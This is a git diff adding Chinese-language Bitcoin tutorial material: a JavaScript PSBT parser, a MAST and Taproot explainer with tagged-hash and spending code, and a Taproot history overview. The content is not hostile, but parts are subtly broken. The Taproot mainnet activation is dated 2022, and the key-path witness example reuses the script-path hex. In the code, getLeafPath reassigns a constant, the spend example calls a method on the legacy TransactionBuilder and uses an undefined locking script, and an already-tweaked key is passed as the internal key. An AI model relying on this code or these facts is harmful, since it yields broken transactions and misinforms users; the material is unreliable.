+3. **逐个解析输入部分**：对于每个输入，读取其键值对，直到遇到分隔符。
+4. **逐个解析输出部分**：对于每个输出，同样读取其键值对。
+5. **验证完整性**：确保所有必要的数据都已正确解析，并且数据结构符合PSBT的规范。
diff --git a/BTC/Advanced/Psbt/rawParsePSBT.js b/BTC/Advanced/Psbt/rawParsePSBT.js
new file mode 100644
index 000000000..9a177cd98
--- /dev/null
+++ b/BTC/Advanced/Psbt/rawParsePSBT.js
@@ -0,0 +1,76 @@
+const parsePSBT = (psbtBase64) => {
+  const psbtBuffer = Buffer.from(psbtBase64, 'base64');
+  let index = 0;
+
+  // 魔术字节和分隔符
+  const magicBytes = psbtBuffer.slice(index, index + 5);
+  index += 5;
+  if (magicBytes.toString('hex') !== '70736274ff') { // Check for valid PSBT magic bytes
+    throw new Error('Not a valid PSBT');
+  }
+
+  // 解析全局部分
+  console.log('Global Data:');
+  while (psbtBuffer[index] !== 0x00 && index < psbtBuffer.length) {
+    // Parse key
+    if (index + 2 > psbtBuffer.length) break; // Prevent reading beyond buffer
+    const keyLen = psbtBuffer[index];
+    const key = psbtBuffer.slice(index + 1, index + 1 + keyLen);
+    index += 1 + keyLen;
+
+    // Parse value
+    if (index + 1 > psbtBuffer.length) break; // Prevent reading beyond buffer
+    const valueLen = psbtBuffer.readIntLE(index, 1);
+    const value = psbtBuffer.slice(index + 1, index + 1 + valueLen);
+    index += 1 + valueLen;
+
+    console.log(`Key: ${key.toString('hex')}, Value: ${value.toString('hex')}`);
+  }
+  index++; // Move past separator byte
+
+  // 解析输入部分
+  console.log('Inputs:');
+  while (index < psbtBuffer.length && psbtBuffer[index] !== 0x00) {
+    // Process each input's key-value pairs
+    while (psbtBuffer[index] !== 0x00 && index < psbtBuffer.length) {
+      if (index + 2 > psbtBuffer.length) break;
+      const keyLen = psbtBuffer[index];
+      const key = psbtBuffer.slice(index + 1, index + 1 + keyLen);
+      index += 1 + keyLen;
+
+      if (index + 1 > psbtBuffer.length) break;
+      const valueLen = psbtBuffer.readUIntLE(index, 1);
+      const value = psbtBuffer.slice(index + 1, index + 1 + valueLen);
+      index += 1 + valueLen;
+      console.log(`Key: ${key.toString('hex')}, Value: ${value.toString('hex')}`);
+    }
+    index++; // Move to next input or separator
+  }
+  index++; // Move past input separator
+
+  // 解析输出部分 
+  console.log('Outputs:');
+  while (index < psbtBuffer.length && psbtBuffer[index] !== 0x00) {
+    console.log(`Output at index ${index}:`);
+    // Process each output's key-value pairs
+    while (psbtBuffer[index] !== 0x00 && index < psbtBuffer.length) {
+      if (index + 2 > psbtBuffer.length) break;
+      const keyLen = psbtBuffer[index];
+      const key = psbtBuffer.slice(index + 1, index + 1 + keyLen);
+      index += 1 + keyLen;
+
+      if (index + 1 > psbtBuffer.length) break;
+      const valueLen = psbtBuffer.readUIntLE(index, 1);
+      const value = psbtBuffer.slice(index + 1, index + 1 + valueLen);
+      index += 1 + valueLen;
+
+      console.log(`Key: ${key.toString('hex')}, Value: ${value.toString('hex')}`);
+    }
+    index++; // Move to next output or end
+  }
+};
+
+// 用你提供的Base64字符串测试
+const psbtBase64 =
+  'cHNidP8BAHUCAAAAASaBcTce3/KF6Tet7qSze3gADAVmy7OtZGQXE8pCFxv2AAAAAAD+////AtPf9QUAAAAAGXapFNDFmQPFusKGh2DpD9UhpGZap2UgiKwA4fUFAAAAABepFDVF5uM7gyxHBQ8k0+65PJwDlIvHh7MuEwAAAQD9pQEBAAAAAAECiaPHHqtNIOA3G7ukzGmPopXJRjr6Ljl/hTPMti+VZ+UBAAAAFxYAFL4Y0VKpsBIDna89p95PUzSe7LmF/////4b4qkOnHf8USIk6UwpyN+9rRgi7st0tAXHmOuxqSJC0AQAAABcWABT+Pp7xp0XpdNkCxDVZQ6vLNL1TU/////8CAMLrCwAAAAAZdqkUhc/xCX/Z4Ai7NK9wnGIZeziXikiIrHL++E4sAAAAF6kUM5cluiHv1irHU6m80GfWx6ajnQWHAkcwRAIgJxK+IuAnDzlPVoMR3HyppolwuAJf3TskAinwf4pfOiQCIAGLONfc0xTnNMkna9b7QPZzMlvEuqFEyADS8vAtsnZcASED0uFWdJQbrUqZY3LLh+GFbTZSYG2YVi/jnF6efkE/IQUCSDBFAiEA0SuFLYXc2WHS9fSrZgZU327tzHlMDDPOXMMJ/7X85Y0CIGczio4OFyXBl/saiK9Z9R5E5CVbIBZ8hoQDHAXR8lkqASECI7cr7vCWXRC+B3jv7NYfysb3mk6haTkzgHNEZPhPKrMAAAAAAAAA';
+parsePSBT(psbtBase64);
\ No newline at end of file
diff --git a/BTC/Advanced/Taproot/MAST.md b/BTC/Advanced/Taproot/MAST.md
new file mode 100644
index 000000000..de593c4f4
--- /dev/null
+++ b/BTC/Advanced/Taproot/MAST.md
@@ -0,0 +1,527 @@
+## MAST简介
+
+Merkelized Alternative Script Tree (MAST) 是比特币的一种增强功能，它利用 Merkle 树结构将不同的花费条件（脚本）组织起来，只公开实际使用的脚本分支，提高隐私性和效率。在 MAST 中，有几个关键角色（或身份），它们在构建和验证 Merkle 树时扮演重要作用：
+
+### 关键角色
+
+1. **叶子节点（Leaf Nodes）**
+
+   - **定义**: 叶子节点是 Merkle 树中的基础节点，每个叶子节点代表一个具体的花费条件或脚本。叶子节点通常哈希值进行字典序（lexicographical order）排序。排序的目的是确保 Merkle 树的结构和哈希值是唯一且确定的，这样不同的参与者在构建相同的 Merkle 树时可以得到相同的根哈希值，从而确保交易的一致性和可验证性。
+   - **功能**: 包含实际的比特币脚本（例如条件 A、B、C），这些脚本定义了不同的花费条件。
+   - **示例**:
+     - 条件 A: 在特定时间后 Alice 可以花费。
+     - 条件 B: 在不同的特定时间后 Bob 可以花费。
+     - 条件 C: Alice 和 Bob 联合签名可以立即花费。
+
+2. **内部节点（Internal Nodes）**
+
+   - **定义**: 内部节点是 Merkle 树中的中间节点，每个内部节点是其子节点哈希值的组合。
+   - **功能**: 通过将其子节点的哈希值组合在一起，内部节点形成了从叶子节点到根节点的路径。
+   - **示例**: 如果 `A` 和 `B` 是叶子节点，那么 `H1 = Hash(A, B)` 是内部节点。
+
+3. **根节点（Root Node）**
+
+   - **定义**: 根节点是 Merkle 树的顶层节点，代表整个树的哈希值。
+   - **功能**: 根节点的哈希值用于验证整个 Merkle 树的完整性和有效性。
+   - **示例**: 如果 `H1` 和 `H2` 是内部节点，那么 `Root = Hash(H1, H2)` 是根节点。
+
+4. **Merkle 路径（Merkle Path）**
+   - **定义**: Merkle 路径是从叶子节点到根节点的一系列哈希值，用于验证特定叶子节点是否属于 Merkle 树的一部分。
+   - **功能**: 当花费特定条件时，公开的 Merkle 路径允许验证者确认该条件是 Merkle 树的一部分，而不必公开其他条件。
+   - **示例**: 如果叶子节点 `C` 被使用，Merkle 路径包括 `H3` 和 `H1`，以验证 `C` 到根节点的路径。
+
+### 示例
+
+假设有三个条件（脚本），它们组织成如下 Merkle 树结构：
+
+```
+        Root (R)
+       /       \
+      H1       H2
+     /  \     /  \
+    A    B   C    H3
+```
+
+- **A**、**B**、**C** 是叶子节点，代表具体的花费条件。
+- **H1** 是 `Hash(A, B)`，**H2** 是 `Hash(C, H3)`，它们是内部节点。
+- **Root** 是 `Hash(H1, H2)`，它是根节点。
+
+当 Alice 和 Bob 联合签名花费条件 C 时，需要公开以下信息来验证条件 C 的合法性：
+
+1. 条件 C 的脚本（叶子节点）。
+2. 节点 H3（内部节点，用于计算 H2）。
+3. 节点 H1（内部节点，用于计算 Root）。
+4. 根节点 Root。
+
+### 验证过程
+
+1. 计算 C 的哈希值。
+2. 结合 C 的哈希值和 H3，计算出 H2。
+3. 结合 H1 和 H2，计算出 Root。
+4. 比对计算得到的 Root 和交易中提供的 Root，如果匹配，则验证通过。
+
+这种结构使得未使用的条件（例如 A 和 B）保持隐藏，提高了交易的隐私性，同时提供了高效的验证机制。
+
+## MAST的创建、更新和移除
+
+实现 MAST（Merkelized Alternative Script Tree） 的创建、插入和删除功能，可以使用 JavaScript 结合一些加密库来完成。以下是一个基本的示例，演示如何创建、插入和删除 MAST 中的节点。
+
+```javascript
+const crypto = require('crypto');
+
+class MAST {
+  constructor() {
+    this.leaves = [];
+    this.tree = [];
+  }
+
+  // 计算哈希值
+  hash(data) {
+    return crypto.createHash('sha256').update(data).digest('hex');
+  }
+
+  // 将叶子节点添加到树中
+  addLeaf(data) {
+    const hashedData = this.hash(data);
+    this.leaves.push(hashedData);
+    this.buildTree();
+  }
+
+  // 删除叶子节点并重建树
+  removeLeaf(data) {
+    const hashedData = this.hash(data);
+    const index = this.leaves.indexOf(hashedData);
+    if (index > -1) {
+      this.leaves.splice(index, 1);
+      this.buildTree();
+    }
+  }
+
+  // 构建 Merkle 树
+  buildTree() {
+    if (this.leaves.length === 0) {
+      this.tree = [];
+      return;
+    }
+
+    let level = this.leaves.slice().sort(); // 字典序排序
+    this.tree = [level];
+
+    while (level.length > 1) {
+      level = this.getNextLevel(level);
+      this.tree.unshift(level);
+    }
+  }
+
+  // 计算下一层节点
+  getNextLevel(level) {
+    const nextLevel = [];
+    for (let i = 0; i < level.length; i += 2) {
+      if (i + 1 < level.length) {
+        nextLevel.push(this.hash(level[i] + level[i + 1]));
+      } else {
+        nextLevel.push(level[i]); // 如果没有配对节点，直接移动到下一层
+      }
+    }
+    return nextLevel;
+  }
+
+  // 获取 Merkle 树的根
+  getRoot() {
+    return this.tree.length ? this.tree[0][0] : null;
+  }
+
+  // 打印 Merkle 树
+  printTree() {
+    console.log(JSON.stringify(this.tree, null, 2));
+  }
+}
+
+// 示例用法
+const mast = new MAST();
+mast.addLeaf('Condition A');
+mast.addLeaf('Condition B');
+mast.addLeaf('Condition C');
+console.log('Initial MAST:');
+mast.printTree();
+console.log('Root:', mast.getRoot());
+
+mast.removeLeaf('Condition B');
+console.log('After removing Condition B:');
+mast.printTree();
+console.log('Root:', mast.getRoot());
+
+mast.addLeaf('Condition D');
+console.log('After adding Condition D:');
+mast.printTree();
+console.log('Root:', mast.getRoot());
+```
+
+### 解释
+
+- **hash(data)**: 计算给定数据的 SHA-256 哈希值。
+- **addLeaf(data)**: 添加叶子节点，添加后重建 Merkle 树。
+- **removeLeaf(data)**: 删除叶子节点，删除后重建 Merkle 树。
+- **buildTree()**: 根据当前叶子节点构建 Merkle 树。
+- **getNextLevel(level)**: 计算当前层次节点的哈希值以生成下一层节点。
+- **getRoot()**: 获取 Merkle 树的根节点。
+- **printTree()**: 打印整个 Merkle 树。
+
+### 注意事项
+
+1. **排序**: 每次构建树时，叶子节点都根据其哈希值进行字典序排序，以确保树的唯一性和确定性。
+2. **树结构**: `tree` 属性是一个数组，存储从叶子节点到根节点的所有层次。
+
+这个示例实现了基本的 MAST 功能，包括创建、插入和删除叶子节点。
+
+## Taproot中的应用
+
+![$$Q = P + t*G$$](https://aandds.com/blog/images/taproot_tweak.gif)
+如上图，在Taproot中需要在MAST中针对叶子结点、树结点和根结点分别引入TapLeaf、TapBranch和TapTweak去计算hash。
+
+### 代码示例
+
+```javascript
+const bitcoin = require('bitcoinjs-lib');
+const crypto = require('crypto');
+const ecc = require('tiny-secp256k1');
+const { BIP32Factory } = require('bip32');
+const bip32 = BIP32Factory(ecc);
+const { payments } = bitcoin;
+
+// 创建 Tagged Hash 函数
+function taggedHash(tag, data) {
+  const tagHash = crypto.createHash('sha256').update(tag).digest();
+  return crypto
+    .createHash('sha256')
+    .update(Buffer.concat([tagHash, tagHash, data]))
+    .digest();
+}
+
+// Taproot Tweak 函数
+function tapTweakPubkey(pubkey, h) {
+  const tweak = taggedHash('TapTweak', Buffer.concat([pubkey, h]));
+  const tweakedPubkey = Buffer.from(ecc.pointAddScalar(pubkey, tweak));
+  return { tweakedPubkey, tweak };
+}
+
+// TapLeaf 计算函数
+function tapLeaf(version, script) {
+  const leafVersion = Buffer.from([version]);
+  return taggedHash('TapLeaf', Buffer.concat([leafVersion, script]));
+}
+
+// TapBranch 计算函数
+function tapBranch(h1, h2) {
+  return taggedHash('TapBranch', Buffer.concat([h1, h2].sort(Buffer.compare)));
+}
+
+class MAST {
+  constructor() {
+    this.leaves = [];
+  }
+
+  // 添加叶子节点
+  addLeaf(script, version = 0xc0) {
+    const hashedLeaf = tapLeaf(version, script);
+    this.leaves.push(hashedLeaf);
+    this.leaves.sort(Buffer.compare); // 字典序排序
+  }
+
+  // 构建 Merkle 树并返回根节点
+  getMerkleRoot() {
+    if (this.leaves.length === 0) {
+      return Buffer.alloc(32, 0);
+    }
+    return this.buildTree(this.leaves);
+  }
+
+  // 递归构建 Merkle 树
+  buildTree(leaves) {
+    if (leaves.length === 1) {
+      return leaves[0];
+    }
+
+    const nextLevel = [];
+    for (let i = 0; i < leaves.length; i += 2) {
+      if (i + 1 < leaves.length) {
+        nextLevel.push(tapBranch(leaves[i], leaves[i + 1]));
+      } else {
+        nextLevel.push(leaves[i]); // 如果没有配对节点，直接移动到下一层
+      }
+    }
+
+    return this.buildTree(nextLevel);
+  }
+}
+
+// 示例用法
+const mast = new MAST();
+mast.addLeaf(Buffer.from('Condition A'));
+mast.addLeaf(Buffer.from('Condition B'));
+mast.addLeaf(Buffer.from('Condition C'));
+console.log('Initial MAST:');
+console.log(mast.leaves.map((leaf) => leaf.toString('hex')));
+console.log('MAST Root:', mast.getMerkleRoot().toString('hex'));
+```
+
+### 代码说明
+
+1. **taggedHash(tag, data)**: 创建 Tagged Hash 函数，用于 Taproot Tweak 和 TapLeaf/TapBranch。
+2. **tapTweakPubkey(pubkey, h)**: 使用 Tagged Hash 和内部公钥计算 Tweaked 公钥。
+3. **tapLeaf(version, script)**: 计算 TapLeaf 的哈希值。
+4. **tapBranch(h1, h2)**: 计算两个子树的 TapBranch 哈希值。
+5. **MAST 类**:
+   - `addLeaf(script, version)`: 添加叶子节点并对其哈希值进行字典序排序。
+   - `getMerkleRoot()`: 构建 Merkle 树并返回根节点。
+   - `buildTree(leaves)`: 递归构建 Merkle 树。
+
+### Taproot地址计算
+
+生成Taproot地址，实际上是对Tweaked 公钥的X坐标编码为 Bech32m 格式
+**流程**
+
+- 初始化 MAST 并添加叶子节点。
+- 构建 Merkle 树并计算根节点。
+- 生成内部公钥并计算 Tweaked 公钥。
+- 生成并输出 Taproot 地址。
+
+```js
+// 生成内部公钥
+const keyPair = bip32.fromSeed(crypto.randomBytes(32));
+const internalPubkey = keyPair.publicKey.slice(1, 33); // 移除 0x02 或 0x03 前缀
+
+// 计算 Taproot 公钥
+const mastRoot = mast.getMerkleRoot();
+const { tweakedPubkey } = tapTweakPubkey(internalPubkey, mastRoot);
+
+// 生成 Taproot 地址
+const taprootAddress = payments.p2tr({
+  internalPubkey: tweakedPubkey.slice(1, 33),
+  network: bitcoin.networks.bitcoin,
+}).address;
+
+console.log('Taproot Address:', taprootAddress);
+```
+
+### 锁定脚本(scriptPubKey)
+
+对于隔离见证 Output，其 scriptPubKey 为 **OP_n tweaked-public-key**
+
+##### OP_n
+
+OP_n 表示隔离见证版本，版本 0 隔离见证 Output 的 scriptPubKey 的首个字节是 0x00，而版本 1 隔离见证 Output 的 scriptPubKey 的首个字节是 0x51
+
+```js
+OP_0: 0x00  // segwitV0
+OP_1: 0x51  // segwitV1，即Taproot
+OP_2: 0x52
+...
+
+See: https://github.com/bitcoin/bitcoin/blob/v22.0/src/script/script.h#L68
+```
+
+#### tweaked-public-key
+
+tweaked-public-key的计算比较复杂，有internal public key和script tree的Merkle Root组成，然后再进行Bech32m编码就能得到Taproot地址
+
+##### script path
+
+script path是Taproot中比较灵活、同时比较复杂的一种方式  
+tweaked-public-key的计算比较如上图：$$Q = P + t*G$$
+
+#### key path
+
+key path不需要 Script Path，则可以去掉 Script 相关的哈希
+即：$$Q = P + t*G = P + TaggedHash('TapTweak', P)G$$
+钱包中的taproot地址就是基于**用户公钥做P**代入上方公式推导得到
+
+#### **代码实现**
+
+```js
+const mast = new MAST();
+mast.addLeaf(Buffer.from("OP_DUP OP_HASH160 <Alice's pubkey hash> OP_EQUALVERIFY OP_CHECKSIG"));
+mast.addLeaf(Buffer.from("OP_DUP OP_HASH160 <Bob's pubkey hash> OP_EQUALVERIFY OP_CHECKSIG"));
+mast.addLeaf(Buffer.from("OP_2 <Alice's pubkey> <Bob's pubkey> OP_2 OP_CHECKMULTISIG"));
+
+// 生成内部公钥
+const keyPair = bip32.fromSeed(crypto.randomBytes(32));
+const internalPubkey = keyPair.publicKey.slice(1, 33); // 移除 0x02 或 0x03 前缀
+
+// 计算 Taproot 公钥
+const mastRoot = mast.getMerkleRoot();
+const { tweakedPubkey } = tapTweakPubkey(internalPubkey, mastRoot);
+
+// 获取 Tweaked 公钥的 X 坐标
+const tweakedPubkeyX = tweakedPubkey.slice(1, 33);
+
+// 生成锁定脚本（P2TR 地址的锁定脚本）
+const lockingScript = bitcoin.script.compile([bitcoin.opcodes.OP_1, tweakedPubkeyX]);
+
+console.log('Locking Script:', lockingScript.toString('hex'));
+```
+
+### 解锁脚本（witnessScript）
+
+Taproot属于Segwit v1版本，其相关解锁脚本放在Witness位置
+如果在花费 P2TR UTXO 时，Witness 只包含一个元素，则是 P2TR (Key Path)，如果在花费 P2TR UTXO 时，Witness 至少包含两个元素，则是 P2TR (Script Path)。在花费一个 P2TR UTXO 时，是通过 Witness 中元素的个数来决定使用 Key Path（Witness 元素个数为 1）还是 Script Path（Witness 元素个数大于等于 2）。  
+在 Taproot 中，解锁script path可以使用 Taproot Tree 的任意路径之一来满足条件。
+下面代码以解锁一个script tree中的2-2多签叶子结点C为例：
+
+#### **代码实现**
+
+```js
+class MAST {
+  // ...
+  // 获取叶子节点的路径
+  getLeafPath(leaf) {
+    const index = this.leaves.indexOf(leaf);
+    if (index === -1) return null;
+
+    let path = [];
+    let level = this.leaves.slice();
+
+    while (level.length > 1) {
+      const nextLevel = [];
+      for (let i = 0; i < level.length; i += 2) {
+        if (i + 1 < level.length) {
+          nextLevel.push(tapBranch(level[i], level[i + 1]));
+        } else {
+          nextLevel.push(level[i]);
+        }
+        if (i === index || i + 1 === index) {
+          path.push(i === index ? level[i + 1] : level[i]);
+          index = Math.floor(i / 2);
+        }
+      }
+      level = nextLevel;
+    }
+    return path;
+  }
+}
+
+const mast = new MAST();
+const scriptA = Buffer.from("OP_DUP OP_HASH160 <Alice's pubkey hash> OP_EQUALVERIFY OP_CHECKSIG");
+const scriptB = Buffer.from("OP_DUP OP_HASH160 <Bob's pubkey hash> OP_EQUALVERIFY OP_CHECKSIG");
+const scriptC = Buffer.from("OP_2 <Alice's pubkey> <Bob's pubkey> OP_2 OP_CHECKMULTISIG");
+mast.addLeaf(scriptA);
+mast.addLeaf(scriptB);
+mast.addLeaf(scriptC);
+
+// 生成内部公钥
+const keyPairAlice = bip32.fromSeed(crypto.randomBytes(32));
+const keyPairBob = bip32.fromSeed(crypto.randomBytes(32));
+const internalPubkey = keyPairAlice.publicKey.slice(1, 33); // 移除 0x02 或 0x03 前缀
+
+// 计算 Taproot 公钥
+const mastRoot = mast.getMerkleRoot();
+const { tweakedPubkey } = tapTweakPubkey(internalPubkey, mastRoot);
+
+// 获取 Tweaked 公钥的 X 坐标
+const tweakedPubkeyX = tweakedPubkey.slice(1, 33);
+
+// 构建交易以花费 Taproot 输出
+const txb = new bitcoin.TransactionBuilder(bitcoin.networks.bitcoin);
+const value = 100000; // 假设输出金额为 100000 satoshis
+const inputIndex = 0; // 输入索引
+const prevTx = bitcoin.Transaction.fromHex('<previous transaction hex>'); // 上一个交易的对象
+const prevTxId = prevTx.getId(); // 上一个交易的 ID
+const outputIndex = 0; // 上一个交易输出的索引
+
+// 添加输入和输出
+txb.addInput(prevTxId, outputIndex);
+txb.addOutput('<destination address>', value - 1000); // 减去交易费用
+
+// 假设要花费 scriptC
+const leafToSpend = tapLeaf(0xc0, scriptC);
+const leafPath = mast.getLeafPath(leafToSpend);
+
+// 构建 controlBlock
+const controlBlock = Buffer.concat([
+  Buffer.from([0xc0]), // 脚本版本
+  internalPubkey,
+  ...leafPath,
+]);
+
+// 签名交易
+const hashType = bitcoin.Transaction.SIGHASH_ALL;
+const signatureHash = txb.buildIncomplete().hashForWitnessV1(inputIndex, [lockingScript], [value], hashType);
+const signatureAlice = bitcoin.script.signature.encode(keyPairAlice.sign(signatureHash), hashType);
+const signatureBob = bitcoin.script.signature.encode(keyPairBob.sign(signatureHash), hashType);
+
+// 构建解锁脚本（witness script）
+const witnessScript = [signatureAlice, signatureBob, scriptC, controlBlock];
+
+// 设置 witness
+txb.setWitness(inputIndex, witnessScript);
+
+// 构建并输出交易
+const tx = txb.build();
+console.log('Transaction:', tx.toHex());
+```
+
+**构建和签名交易:**
+
+- 创建一个交易以花费 Taproot 输出。
+- 添加输入和输出。
+- 获取要花费的脚本（例如 scriptC）的 TapLeaf 哈希值和 Merkle 路径。
+- 构建 controlBlock，包含脚本版本、内部公钥和 Merkle 路径。
+- 使用 Alice 和 Bob 的密钥分别对交易进行签名。
+- 构建包含两个签名和其他信息的解锁脚本（witness script）。
+- 设置交易的 witness。
+
+#### script path
+
+[905ecdf95a84804b192f4dc221cfed4d77959b81ed66013a7e41a6e61e7ed530](https://blockchain.info/rawtx/905ecdf95a84804b192f4dc221cfed4d77959b81ed66013a7e41a6e61e7ed530)是花费 P2TR (Script Path) 的例子（它是一个 2-of-2 多签脚本），它的 Witness 为
+
+```js
+044123b1d4ff27b16af4b0fcb9672df671701a1a7f5a6bb7352b051f461edbc614aa6068b3e5313a174f90f3d95dc4e06f69bebd9cf5a3098fde034b01e69e8e788901400fd4a0d3f36a1f1074cb15838a48f572dc18d412d0f0f0fc1eeda9fa4820c942abb77e4d1a3c2b99ccf4ad29d9189e6e04a017fe611748464449f681bc38cf394420febe583fa77e49089f89b78fa8c116710715d6e40cc5f5a075ef1681550dd3c4ad20d0fa46cb883e940ac3dc5421f05b03859972639f51ed2eccbf3dc5a62e2e1b15ac41c02e44c9e47eaeb4bb313adecd11012dfad435cd72ce71f525329f24d75c5b9432774e148e9209baf3f1656a46986d5f38ddf4e20912c6ac28f48d6bf747469fb1
+```
+
+根据编码我们得知有4个元素
+
+```js
+0070: .. .. .. .. .. .. 04 .. .. .. .. .. .. .. .. .. vin0 Witness Count: 4
+0070: .. .. .. .. .. .. .. 41 23 b1 d4 ff 27 b1 6a f4 vin0 Witness 0 Length:65 (0x41)
+0080: b0 fc b9 67 2d f6 71 70 1a 1a 7f 5a 6b b7 35 2b
+0090: 05 1f 46 1e db c6 14 aa 60 68 b3 e5 31 3a 17 4f
+00a0: 90 f3 d9 5d c4 e0 6f 69 be bd 9c f5 a3 09 8f de
+00b0: 03 4b 01 e6 9e 8e 78 89 01 .. .. .. .. .. .. ..
+00b0: .. .. .. .. .. .. .. .. .. 40 0f d4 a0 d3 f3 6a vin0 Witness 1 Length:64 (0x40)
+00c0: 1f 10 74 cb 15 83 8a 48 f5 72 dc 18 d4 12 d0 f0
+00d0: f0 fc 1e ed a9 fa 48 20 c9 42 ab b7 7e 4d 1a 3c
+00e0: 2b 99 cc f4 ad 29 d9 18 9e 6e 04 a0 17 fe 61 17
+00f0: 48 46 44 49 f6 81 bc 38 cf 39 .. .. .. .. .. ..
+00f0: .. .. .. .. .. .. .. .. .. .. 44 20 fe be 58 3f vin0 Witness 2 Length:68 (0x44)
+0100: a7 7e 49 08 9f 89 b7 8f a8 c1 16 71 07 15 d6 e4
+0110: 0c c5 f5 a0 75 ef 16 81 55 0d d3 c4 ad 20 d0 fa
+0120: 46 cb 88 3e 94 0a c3 dc 54 21 f0 5b 03 85 99 72
+0130: 63 9f 51 ed 2e cc bf 3d c5 a6 2e 2e 1b 15 ac ..
+0130: .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. 41 vin0 Witness 3 Length:65 (0x41)
+0140: c0 2e 44 c9 e4 7e ae b4 bb 31 3a de cd 11 01 2d
+0150: fa d4 35 cd 72 ce 71 f5 25 32 9f 24 d7 5c 5b 94
+0160: 32 77 4e 14 8e 92 09 ba f3 f1 65 6a 46 98 6d 5f
+0170: 38 dd f4 e2 09 12 c6 ac 28 f4 8d 6b f7 47 46 9f
+0180: b1
+```
+
+#### key path
+
+[dbef583962e13e365a2069d451937a6de3c2a86149dc6a4ac0d84ab450509c91](https://blockchain.info/rawtx/dbef583962e13e365a2069d451937a6de3c2a86149dc6a4ac0d84ab450509c91)是花费 P2TR (Key Path) 的例子，它的 witness 为：
+
+```js
+044123b1d4ff27b16af4b0fcb9672df671701a1a7f5a6bb7352b051f461edbc614aa6068b3e5313a174f90f3d95dc4e06f69bebd9cf5a3098fde034b01e69e8e788901400fd4a0d3f36a1f1074cb15838a48f572dc18d412d0f0f0fc1eeda9fa4820c942abb77e4d1a3c2b99ccf4ad29d9189e6e04a017fe611748464449f681bc38cf394420febe583fa77e49089f89b78fa8c116710715d6e40cc5f5a075ef1681550dd3c4ad20d0fa46cb883e940ac3dc5421f05b03859972639f51ed2eccbf3dc5a62e2e1b15ac41c02e44c9e47eaeb4bb313adecd11012dfad435cd72ce71f525329f24d75c5b9432774e148e9209baf3f1656a46986d5f38ddf4e20912c6ac28f48d6bf747469fb1
+```
+
+```js
+0141e6e1fe41524e65e3040bc3d080a136345c2c806eb7f336dd6a7a79e9054b0d1fc6a8d836667ef6e9f2188cd1270ab28e5e0eb642eac89f2ec50a32ca54aaf9d601
+
+01 .. .. .. .. .. .. .. .. .. .. .. .. .. .. vin0 Witness Count: 1
+.. 41 .. .. .. .. .. .. .. .. .. .. .. .. .. vin0 Witness 0 Length:65, schnorr_sig (64 bytes) + sig_hash (1 bytes)
+.. .. e6 e1 fe 41 52 4e 65 e3 04 0b c3 d0 80 schnorr_sig
+a1 36 34 5c 2c 80 6e b7 f3 36 dd 6a 7a 79 e9
+05 4b 0d 1f c6 a8 d8 36 66 7e f6 e9 f2 18 8c
+d1 27 0a b2 8e 5e 0e b6 42 ea c8 9f 2e c5 0a
+32 ca 54 aa f9 d6
+.. .. .. .. .. .. 01                                     sig_hash: SIGHASH_ALL (0x01)
+```
diff --git a/BTC/Advanced/Taproot/README.md b/BTC/Advanced/Taproot/README.md
new file mode 100644
index 000000000..8c2d09f77
--- /dev/null
+++ b/BTC/Advanced/Taproot/README.md
@@ -0,0 +1,72 @@
+### Taproot的详细历史和特点
+
+#### 起源与发展
+
+1. **提案的提出**：
+   - Taproot的设计始于比特币改进提案 [BIP 340](https://github.com/bitcoin/bips/blob/master/bip-0340.mediawiki)、[BIP 341](https://github.com/bitcoin/bips/blob/master/bip-0341.mediawiki)和[BIP 342](https://github.com/bitcoin/bips/blob/master/bip-0342.mediawiki)。BIP 340介绍了Schnorr签名算法在比特币中的应用，BIP 341提出了Taproot的概念，而BIP 342则探讨了Taproot和Schnorr的集成。
+
+2. **设计目标**：
+   - Taproot的主要设计目标包括提高比特币网络的隐私性、可扩展性和支持更复杂的智能合约。通过引入Schnorr签名和Merkle树结构，Taproot旨在优化多重签名交易的外观，并将其与常规单签名交易统一化，从而提升隐私保护。
+
+#### 技术特点
+
+1. **Schnorr签名和签名聚合**：
+   - Taproot引入了Schnorr签名算法，这种签名算法相较于比特币当前使用的ECDSA签名更高效，并支持多个输入的签名聚合。这意味着多重签名交易的签名可以被聚合成一个单一的签名，显著减小了交易大小，降低了交易费用，并提高了链上交易的隐私性。
+
+2. **Merkle树结构**：
+   - Taproot利用Merkle树结构，将多种不同的比特币脚本路径合并成一个单一的“扩展公钥”。这使得在链上查看的所有交易看起来都像是来自一个单一的地址，从而隐藏了实际执行的交易路径和使用的脚本类型，进一步提升了隐私性。
+
+3. **智能合约支持**：
+   - Taproot通过其灵活的脚本能力，支持更复杂和高级的智能合约。这些合约可以以更简洁和隐私的方式实现，允许比特币用户创建更复杂的交易逻辑和条件，如多重签名、时间锁定、条件支付等。
+
+#### 部署和实施
+
+1. **社区支持和开发**：
+   - Taproot的开发经历了长时间的讨论和审查，由比特币社区内的核心开发者、研究人员和网络参与者共同推动。通过开放的讨论和测试网络（如Bitcoin Testnet），确保了升级的安全性和兼容性。
+
+2. **激活过程**：
+   - Taproot于2021年11月通过比特币矿工社区的投票得到了广泛支持和认可。随后，升级计划在2022年11月在比特币主网上正式生效，这意味着所有比特币节点都支持Taproot升级，并能够开始使用新的Taproot功能。
+
+### Segwit版本区别
+
+#### Segwit 版本0（P2WPKH和P2WSH）
+
+##### 特点：
+1. **P2WPKH（Pay to Witness Public Key Hash）**：这种类型的地址通常以`bc1q`开头。
+2. **P2WSH（Pay to Witness Script Hash）**：这种类型的地址通常以`bc1q`开头，用于更复杂的多重签名（multisig）脚本。
+3. **隔离见证**：交易的见证数据被隔离到一个独立的区块部分，减小了交易数据的大小，从而提高了区块的容量。
+4. **交易格式**：新的交易格式，包含一个见证字段，用于存储签名等见证数据。
+5. **可延展性问题的解决**：通过隔离见证，解决了交易的可延展性问题，使得交易ID在没有更改其内容的情况下不能被篡改。
+
+#### Segwit 版本1（Taproot）
+
+##### 特点：
+1. **Taproot**：这是Segwit版本1的主要改进，它是一个更复杂的地址方案，通常以`bc1p`开头。
+2. **Schnorr签名**：引入了Schnorr签名算法，这种算法比原来的ECDSA签名更高效和安全，可以实现批量验证签名，从而进一步提高效率。
+3. **Mast（Merkelized Abstract Syntax Tree）**：允许更复杂的智能合约和多重签名方案，只有在执行时需要的部分才会被暴露，增强了隐私性和效率。
+4. **更高的灵活性和隐私**：与传统的多重签名方案相比，Taproot允许在不暴露具体条件的情况下进行复杂的条件支付，大大增强了隐私性。
+5. **兼容性**：保持与Segwit版本0的兼容性，新的功能和特性在使用时才会生效。
+
+#### 功能对比
+
+| 特点                           | Segwit 版本0                       | Segwit 版本1 (Taproot)          |
+|-------------------------------|------------------------------------|---------------------------------|
